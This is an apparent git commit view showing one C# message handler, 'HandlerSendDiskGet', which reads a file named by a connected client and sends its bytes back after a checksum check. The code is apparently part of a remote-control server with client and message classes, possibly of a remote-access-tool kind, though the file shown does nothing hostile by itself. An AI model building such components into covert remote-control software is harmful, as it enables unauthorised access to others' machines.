initial commit

This commit is contained in:
i2p
2026-08-27 11:21:58 -06:00
commit c21fb61050
336 changed files with 74161 additions and 0 deletions
+24
View File
@@ -0,0 +1,24 @@
using System.IO;
using Leb128;
using Server.Connectings;
using Server.Helper;
namespace Server.Messages;
internal class HandlerSendDiskGet
{
public static void Read(Clients client, object[] objects)
{
string text = (string)objects[1];
if (Methods.GetChecksum(text) == (string)objects[2])
{
byte[] data = LEB128.Write(new object[3]
{
"SendDisk",
Path.GetExtension(text),
File.ReadAllBytes(text)
});
client.Send(data);
}
}
}